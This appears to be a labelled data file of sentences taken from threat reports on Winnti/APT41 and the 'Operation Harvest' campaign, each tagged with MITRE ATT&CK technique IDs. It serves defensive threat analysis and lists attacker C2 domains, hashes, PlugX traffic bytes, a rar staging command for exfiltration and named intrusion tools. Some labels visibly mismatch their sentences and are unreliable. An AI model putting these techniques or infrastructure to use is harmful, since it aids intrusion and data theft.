registry run key or a startup folder T1543.003 Create or Modify System Process:", "labels": ["T1059.003", "T1106", "T1204.002", "T1547.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Windows Service Winnti persists on infected machines by creating new services T1053.005 Scheduled Task/Job: Scheduled Task Winnti creates a task with schtasks for persistence Defense evasion T1140 Deobfuscate/Decode Files or Information To store shellcode with the payload, Winnti uses a custom PL format with encryption T1574.002 Hijack Execution Flow: DLL Side-Loading Winnti uses legitimate utilities to load DLLs from ShadowPad and PlugX T1562.004 Impair Defenses: Disable or Modify System Firewall FunnySwitch adds allow rules to Windows Firewall for C2 connections T1070 Indicator Removal on Host Paranoid PlugX deletes artifacts created during infection from the file system and registry T1202 Indirect Command Execution Winnti uses intermediate VBS scripts to run .bat", "labels": ["T1053.005", "T1140", "T1543.003", "T1574.002"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "files T1027.002 Obfuscated Files or Information: Software Packing Winnti can use VMProtect or custom packers for its malware T1055.002 Process Injection: Portable Executable Injection Winnti injects shellcode into the processes explorer.exe, winlogon.exe, wmplayer.exe, svchost.exe, and spoolsv.exe T1218.001 Signed Binary Proxy Execution: Compiled HTML File Winnti uses CHM files containing malicious code T1218.004 Signed Binary Proxy Execution: InstallUtil Paranoid PlugX can use InstallUtil to run a malicious .NET assembly T1553.002 Subvert Trust Controls: Code Signing Winnti uses stolen certificates to sign its malware Discovery T1082 System Information Discovery Winnti backdoors collect information about the computer name and OS version and whether it is 32-bit or 64-bit T1016 System Network Configuration Discovery Winnti backdoors collect information about the IP and MAC addresses of the infected machine T1033 System Owner/User Discovery Winnti backdoors collect information about the name of the current user Collection T1119 Automated Collection Winnti backdoors automatically collect information about the infected machine Command and Control T1071.001 Application Layer Protocol: Web Protocols Winnti backdoors can use HTTP/HTTPS for C2 connections T1132.001 Data Encoding: Standard Encoding Winnti uses GZip for compressing FunnySwitch data T1001.003 Data Obfuscation:", "labels": ["T1016", "T1027", "T1033", "T1055", "T1071.001", "T1082"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Protocol Impersonation Winnti uses FakeTLS in Crosswalk traffic T1573.001 Encrypted Channel:", "labels": [], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Symmetric Cryptography Winnti uses AES for encrypting traffic in its backdoors T1008 Fallback Channels The Winnti configuration supports indicating multiple C2 servers of various types T1095 Non-Application Layer", "labels": ["T1573.001"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "Protocol Winnti backdoors can use TCP and UDP for C2 connections T1090.001 Proxy: Internal Proxy FunnySwitch can establish C2 connections via a peer-to-peer network of infected hosts T1090.002 Proxy: External Proxy Winnti backdoors support C2 connections via an external HTTP/SOCKS proxy T1102.001 Web Service: Dead Drop Resolver Winnti uses Google Docs for updating the C2 address in PlugX", "labels": ["T1090", "T1095"], "doc_title": "Higaisa or Winnti APT41 backdoors old and new"}
{"sentence": "A special thanks to our Professional Services’ IR team, ShadowServer, for historical context on C2 domains, and Thomas Roccia/Leandro Velasco for malware analysis support.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Executive Summary Following a recent Incident Response, McAfee Enterprise‘s Advanced Threat Research (ATR) team worked with its Professional Services IR team to support a case that initially started as a malware incident but ultimately turned out to be a long-term cyber-attack.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "From a cyber-intelligence perspective, one of the biggest challenges is having information on the tactics, techniques, and procedures (TTPs) an adversary is using and then keeping them up to date.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Within ATR we typically monitor many adversaries for years and collect and store data, ranging from indicators of compromise (IOCs) to the TTPs.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In this report, ATR provides a deep insight into this long-term campaign where we will map out our findings against the Enterprise MITRE ATT&CK model.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "There will be parts that are censored since we respect the confidentiality of the victim.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We will also zoom in and look at how the translation to the MITRE Techniques, historical context, and evidence artifacts like PlugX and Winnti malware led to a link with another campaign, which we highly trust to be executed by the same adversary.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "IOCs that could be shared are at the end of this document.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "McAfee customers are protected from the malware/tools described in this blog.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "MVISION Insights customers will have the full details, IOCs and TTPs shared via their dashboard.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "MVISION Endpoint, EDR and UCE platforms provide signature and behavior-based prevention and detection capability for many of the techniques used in this attack.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "A more detailed blog with specific recommendations on using the McAfee portfolio and integrated partner solutions to defend against this attack can be found here.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Technical Analysis Initial Infection Vectors [TA0001] Forensic investigations identified that the actor established initial access by compromising the victim’s web server [T1190].", "labels": ["T1190"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "On the webserver, software was installed to maintain the presence and storage of tools [T1105] that would be used to gather information about the victim’s network [T1083] and lateral movement/execution of files [T1570] [T1569.002].", "labels": ["T1570"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Examples of the tools discovered are PSexec, Procdump, and Mimikatz.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Privilege Escalation and Persistence [TA0004, TA0003]", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The adversary has been observed using multiple privilege escalation and persistence techniques during the period of investigation and presence in the network.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We will highlight a few in each category.", "labels": ["T1003.001"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Besides the use of Mimikatz to dump credentials, the adversaries used two tools for privilege escalations [T1068].", "labels": ["T1003.001"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "One of the tools was “RottenPotato”.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "This is an open-source tool that is used to get a handle to a privileged token, for example, “NT AUTHORITY\\SYSTEM”, to be able to execute tasks with System rights.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Example of RottenPotato on elevating these rights: Figure 1 RottenPotato The second tool discovered, “BadPotato”, is another open-source tool that can be used to elevate user rights towards System rights.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Figure 2 BadPotato", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The BadPotato code can be found on GitHub where it is offered as a Visual Studio project.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We inspected the adversary’s compiled version using DotPeek and hunted for artifacts in the code.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Inspecting the File (COFF) header, we observed the file’s compilation timestamp:", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "TimeDateStamp: 05/12/2020 08:23:47 – Date and time the image was created PlugX Another major and characteristic privilege escalation technique the adversary used in this long-term campaign was the malware PlugX as a backdoor.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "PlugX makes use of the technique “DLL Sideloading” [T1574.002].", "labels": ["T1574.002"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "PlugX was observed as usual where a single (RAR) executable contained the three parts: Valid executable.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Associated DLL with the hook towards the payload.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Payload file with the config to communicate with Command & Control Server (C2).", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The adversary used either the standalone version or distributed three files on different assets in the network to gain remote control of those assets.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The samples discovered and analyzed were communicating towards two domains.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Both domains were registered during the time of the campaign.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "One of the PlugX samples consisted of the following three parts: Filename Hashes HPCustPartic.exe SHA256: 8857232077b4b0f0e4a2c3bb5717fd65079209784f41694f8e1b469e34754cf6 HPCustPartUI.dll SHA256: 0ee5b19ea38bb52d8ba4c7f05fa1ddf95a4f9c2c93b05aa887c5854653248560 HPCustPartic.bin SHA256:", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "008f7b98c2453507c45dacd4a7a7c1b372b5fafc9945db214c622c8d21d29775 The .exe file is a valid and signed executable and, in this case, an executable from HP (HP Customer participation).", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We also observed other valid executables being used, ranging from AV vendors to video software.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "When the executable is run, the DLL next to it is loaded.", "labels": ["T1574.002"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The DLL is valid but contains a small hook towards the payload which, in our case, is the .bin file.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The DLL loads the PlugX config and injects it into a process.", "labels": ["T1055"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We executed the samples in a test setup and dumped the memory of the machine to conduct memory analysis with volatility.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "After the basic forensically sound steps, we ran the malfind plugin to detect possible injected code in a process.", "labels": ["T1055"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "From the redacted output of the plugin, we observed the following values for the process with possible injected code: Process: svchost.exe Pid: 860 Address: 0xb50000 Process: explorer.exe Pid: 2752 Address: 0x56a000 Process: svchost.exe Pid: 1176", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Address: 0x80000 Process: svchost.exe Pid: 1176 Address: 0x190000 Process: rundll32.exe", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Pid: 3784 Address: 0xd0000 Process: rundll32.exe", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Pid: 3784 Address: 0x220000 One observation is the mention of the SVCHOST process with a ProcessID value of 1176 that is mentioned twice but with different addresses.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "This is similar to the RUNDLL32.exe that is mentioned twice with PID 3785 and different addresses.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "One way to identify what malware may have been used is to dump these processes with the relevant PID using the procdump module, upload them to an online analysis service and wait for the results.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Since this is a very sensitive case, we took a different approach.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Using the best of both worlds (volatility and Yara) we used a ruleset that consists of malware patterns observed in memory over time.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Running this ruleset over the data in the memory dump revealed the following (redacted for the sake of readability) output: Figure 3 Output Yarascan memory dump", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The output of the Yara rule scan (and there was way more output) confirmed the presence of PlugX module code in PID 1176 of the SVCHOST service.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Also, the rule was triggered on PID 3784, which belonged to RUNDLL32.exe.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Investigating the dumps after dynamic analysis, we observed two domain names used for C2 traffic: sery.brushupdata.com dnssery.brushupdata.com In particular, we saw the following hardcoded value that might be another payload being downloaded: sery.brushupdata.com/CE1BC21B4340FEC2B8663B69", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The PlugX families we observed used DNS [T1071.001]", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "[T1071.004] as the transport channel for C2 traffic, in particular TXT queries.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Investigating the traffic from our samples, we observed the check-in-signature (“20 2A 2F 2A 0D”) that is typical for PlugX network traffic: 00000000: 47 45 54 20 2F 42 34 42 42 44 43 43 30 32 39 45 00000010:", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "31 31 39 37 31 39 46 30 36 35 36 32 32 20 48 54 00000020: 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 74 3A 20 00000030: 2A 2F 2A 0D 0A 43 6F 6F 6B 69 65 3A 20 44 36 43 00000040: 57 50 2B 56 5A 47 6D 59 6B 6D 64 6D 64 64 58 55 00000050: 71 58 4D 31 71 31 6A 41 3D 0D 0A 55 73 65 72 2D During our analysis of the different PlugX samples discovered, the domain names as mentioned above stayed the same, though the payload values were different.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "For example: hxxp://sery.brushupdata.com/B4BBDCC029E119719F065622 hxxp://sery.brushupdata.com/07FDB1B97D22EE6AF2482B1B hxxp://sery.brushupdata.com/273CDC0B9C6218BC1187556D Other PlugX samples we observed injected themselves into Windows Media Player and started a connection with the following two domains: center.asmlbigip.com sec.asmlbigip.com", "labels": ["T1055"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Hello Winnti Another mechanism observed was to start a program as a service", "labels": ["T1543.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "[T1543.003] on the Operating System with the acquired System rights by using the *Potato tools.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The file the adversary was using seemed to be a backdoor that was using the DLL file format (2458562ca2f6fabddae8385cb817c172).", "labels": ["T1543.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The DLL is used to create a malicious service and its name is “service.dll”.", "labels": ["T1543.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The name of the created service, “SysmainUpdate”, is usurping the name of the legitimate service “SysMain” which is related to the legitimate DLL sysmain.dll and also to the Superfetch service.", "labels": ["T1543.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The dll is run using the command “rundll32.exe SuperFrtch.dll, #1”.", "labels": ["T1218.011"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The export function has the name “WwanSvcMain”.", "labels": ["T1569.002"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The model uses the persistence technique utilizing svchost.exe with service.dll to install a rogue service.", "labels": ["T1569.002"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "It appears that the dll employs several mechanisms to fingerprint the targeted system and avoid analysis in the sandbox, making analysis more difficult.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The DLL embeds several obfuscated strings decoded when running.", "labels": ["T1027", "T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Once the fingerprinting has been done, the malware will install the malicious service using the API RegisterServiceHandlerA then SetServiceStatus, and finally CreateEventA.", "labels": ["T1106"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "A description of the technique can be found here.", "labels": ["T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The malware also decrypts and injects the payload in memory.", "labels": ["T1055", "T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The following screenshot shows the decryption routine.", "labels": ["T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Figure 4 Decryption routine When we analyzed this unique routine, we discovered similarities and the mention of it in a publication that can be read here.", "labels": ["T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The malware described in the article is attributed to the Winnti malware family.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The operating method and the code used in the DLL described in the article are very similar to our analysis and observations.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The process dump also revealed further indicators.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Firstly, it revealed artifacts related to the DLL analyzed, “C:\\ProgramData\\Microsoft\\Windows\\SuperfRtch\\SuperfRtch.dat”.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We believe that this dat file might be the loaded payload.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Secondly, while investigating the process dump, we observed activities from the backdoor that are part of the data exfiltration attempts which we will describe in more detail in this analysis report.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "A redacted snippet of the code would look like this: Creating archive ***.rar Adding", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "[data from location] 0% OK Another indicator of discovering Winnti malware was the following execution path we discovered in the command line dump of the memory:", "labels": ["T1059.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "klcsngtgui.exe 1560413F7E <abbreviation-victim>.dat What we observed here was the use of a valid executable, the AES 256 decryption key of the payload (.dat file).", "labels": ["T1140"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In this case, the payload file was named using an abbreviation of the victim company’s name.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Unfortunately, the adversary had removed the payload file from the system.", "labels": ["T1027"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "File carving did not work since the disk/unallocated space was overwritten.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "However, reconstructing traces from memory revealed that we were dealing with the Winnti 4.0 malware.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The malware was injected into a SVCHOST process where a driver location pointed to the config file.", "labels": ["T1055"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We observed in the process dump the exfiltration of data on the system, such as OS, Processor (architecture), Domain, Username, etc.", "labels": ["T1033", "T1082"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Another clue that helped us was the use of DNS tunneling by Winnti which we discovered traces of in memory.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The hardcoded 208.67.222.222 resolves to a legitimate OpenDNS DNS server.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The IP is pushed into the list generated by the malware at runtime.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "At the start of the malware, it populates the list with the system’s DNS, and the OpenDNS server is only used as a backup to ensure that the C2 domain is resolved.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Another indicator in the process dump was the setup of the C2 connection including the User-Agent that has been observed being used by Winnti 4.0 malware:", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Chrome/57.0.2987.133 Safari/537.36 Other Persistence Activities WMI activity [T1546.003] was also observed to execute commands on the systems.", "labels": ["T1047", "T1053.005"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "From a persistence point of view, scheduled tasks [T1053.005] and the use of valid accounts [T1078] acquired through the use of Mimikatz, or creating LSASS dumps, were observed being employed during the length of the campaign.", "labels": ["T1003.001", "T1053.005", "T1078"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Lateral Movement From a lateral movement perspective, the adversary used the obtained credentials to hop from asset to asset.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In one particular case, we observed a familiar filename: “PsExec.exe”.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "This SysInternals tool is often observed being used in lateral movement by adversaries, however, it can also be used by the sysadmins of the network.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In our case, the PsExec executable had a file size of 9.6 MB where the original PsExec (depending on 32- or 64-bit version) had a maximum file size of 1.3 MB.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "An initial static inspection of the file resulted in a blob of code that was present in the executable which had a very high entropy score (7.99).", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "When running the file from the command line, the following output was observed: Figure 5 PsExec output The error notification and the ‘Impacket’ keyword tipped us off and, after digging around, we found more.", "labels": ["T1059.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The fake PsExec is an open-source Python script that is a PsExec alternative with shell/backdoor capability.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "It uses a script from this location: hxxps://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.pyi.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The file is large since it incorporates a low-level protocol interaction from Impacket.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The Python library combined with the script code is compiled with py2exe.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The file was compiled during the time of the latest attack activities and signed with an expired certificate.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Data Exfiltration From what we observed", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": ", the adversary had a long-term intention to stay present in the victim’s network.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "With high confidence, we believe that the adversary was interested in stealing proprietary intelligence that could be used for military or intellectual property/manufacturing purposes.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The adversary used several techniques to exfiltrate the data.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "In some cases, batch (.bat) scripts were created to gather information from certain network shares/folders and use the ‘rar’ tool to compress them to a certain size [T1020]", "labels": ["T1059.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "[T1030].", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Example of content in a batch script: C:\\Windows\\web\\rar.exe a -[redacted] -r -v50000", "labels": ["T1059.003"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "[Target-directory] On other occasions, manual variants of the above command were discovered after using the custom backdoor as described earlier.", "labels": ["T1005"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "When the data was gathered on a local system using the backdoor, the files were exfiltrated over the backdoor and the rar files were deleted [T1070.004].", "labels": ["T1005", "T1041", "T1070.004"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Where external facing assets were used, like a web server, the data was stored in a location in the Internet Information Services (IIS) web server and exfiltrated over HTTP using GET requests towards the exact file paths [T1041] [T1567] [T1071].", "labels": ["T1041", "T1071.001"], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "An example of the [redacted] web traffic in the IIS logfiles: Date /Time Request TCP Src port Source IP User-Agent Redacted GET /****/[redacted].rar 80 180.50.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "*.* MINIXL redacted GET /****/[redacted].rar 80 209.58.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "*.* MINIXL The source IP addresses discovered belonged to two different ISP/VPN providers based in Hong-Kong.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The User-Agent value is an interesting one, “MINIXL”.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "When we researched that value, we discovered a blog from Dell SecureWorks from 2015 that mentions the same User-Agent, but also a lot of the artifacts mentioned from the blog overlapped with the observations and TTPs of Operation Harvest [link].", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "What we could retrieve from open-source databases is that the use of this particular User-Agent is very limited and seems to originate from the APAC region.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Who did it?", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "That seems to be the one-million-dollar question to be asked.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Within McAfee, attribution is not our main focus, protecting our customers is our priority.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "What we do care about is that if we learn about these techniques during an investigation, can we map them out and support our IR team on the ground, or a customer’s IR team, with the knowledge that can help determine which phase of the attack the evidence is pointing to and based on historical data and intelligence, assist in blocking the next phase and discover more evidence?", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We started by mapping out all MITRE ATT&CK Enterprise techniques and sub-techniques, added the tools used, and did a comparison against historical technique data from the industry.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "We ended up with four groups that shared techniques and sub-techniques.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The Winnti group was added by us since we discovered the unique encryption function in the custom backdoor and indicators of the use of the Winnti malware.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Figure 6 ATT&CK technique comparison The diagram reflecting our outcome insinuated that APT27 and APT41 are the most likely candidates that overlap with the (sub-)techniques we observed.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Since all these groups are in a certain time zone, we extracted all timestamps from the forensic investigation with regards to: Registration of domain Compile timestamps of malware (considering deception) Timestamps of command-line activity Timestamps of data exfiltration Timestamps of malware interaction such as creation, deletion, etc.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "When we converted all these timestamps from UTC to the aforementioned groups’ time zones, we ended up with the below scheme on activity: Figure 7 Adversary’s time of operation In this campaign, we observed how the adversary mostly seems to work from Monday to Thursday and typically during office hours, albeit with the occasional exception.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Correlating ATT&CK (sub-)techniques, timestamps, and tools like PlugX and Mimikatz are not the only evidence indicators that can help to identify a possible adversary.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Command-line syntax, specific code similarity, actor capability over time versus other groups, and unique identifiers are at the top of the ‘pyramid of pain’ in threat intelligence.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The bottom part of the pyramid is about hashes, URLs, and domains, areas that are very volatile and easy to change by an adversary.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Figure 8 Pyramid of Pain Beyond investigating those artifacts, we also took possible geopolitical interests and potential deception into consideration when building our hypothesis.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "When we mapped out all of these, we believed that one of the two previously mentioned groups were responsible for the campaign we investigated.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "Our focus was not about attribution though, but more around where the flow of the attack is, matches against previous attack flows from groups, and what techniques/tools they are using to block next steps, or where to locate them.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "The more details we can gather at the top of ‘the pyramid of pain’, the better we can determine the likely adversary and its TTP’s.", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
{"sentence": "That’s all Folks!", "labels": [], "doc_title": "Operation Harvest A Deep Dive into a Longterm Campaign"}
